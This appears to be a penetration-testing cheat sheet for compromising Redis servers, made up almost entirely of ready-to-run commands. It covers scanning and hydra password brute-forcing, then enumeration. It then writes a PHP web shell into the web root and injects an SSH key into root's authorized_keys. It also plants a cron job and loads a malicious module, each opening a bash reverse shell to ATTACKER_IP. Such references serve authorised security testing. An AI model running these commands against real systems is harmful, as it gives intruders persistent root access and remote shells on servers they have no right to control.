Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Service Detection
nmap -sV -sC -p 6379 TARGET
Connect
redis-cli -h TARGET
redis-cli -h TARGET -a 'password'
Check Auth Required
redis-cli -h TARGET
> INFO
NOAUTH error → password required.
Brute-Force
hydra -P passwords.txt redis://TARGET
nmap -p 6379 --script redis-brute TARGET
Enumeration
> INFO
> CONFIG GET *
> CONFIG GET dir
> CONFIG GET dbfilename
> KEYS *
> GET key_name
> SELECT 0 # Switch database
Web Shell (If Web Root Known)
> CONFIG SET dir /var/www/html/
> CONFIG SET dbfilename shell.php
> SET payload "<?php system($_GET['cmd']); ?>"
> SAVE
http://TARGET/shell.php?cmd=id
SSH Key Injection
Generate Key
ssh-keygen -t ed25519 -f /tmp/redis_key -N ""
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_payload.txt
Inject
cat /tmp/redis_payload.txt | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET CONFIG SET dir /root/.ssh/
redis-cli -h TARGET CONFIG SET dbfilename authorized_keys
redis-cli -h TARGET SAVE
Connect
ssh -i /tmp/redis_key root@TARGET
Cron Job Injection
redis-cli -h TARGET
> CONFIG SET dir /var/spool/cron/crontabs/
> CONFIG SET dbfilename root
> SET cron "\n\n* * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
> SAVE
Module RCE
Load malicious Redis module for command execution.
# Build
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
# Upload module.so to target
redis-cli -h TARGET MODULE LOAD /path/to/module.so
redis-cli -h TARGET system.exec "id"
redis-cli -h TARGET system.exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Lua Script Execution
redis-cli -h TARGET EVAL "return io.popen('id'):read('*a')" 0
NSE Scripts
nmap -p 6379 --script redis-info TARGET
nmap -p 6379 --script redis-brute TARGET
Quick Reference
| Check | Command |
|---|
| Connect | redis-cli -h TARGET |
| Web shell | CONFIG SET dir /var/www/html/; SET payload "<?php..." |
| SSH key | Inject pub key to /root/.ssh/authorized_keys |
| Cron RCE | Write to /var/spool/cron/crontabs/root |
| Module RCE | MODULE LOAD module.so; system.exec "cmd" |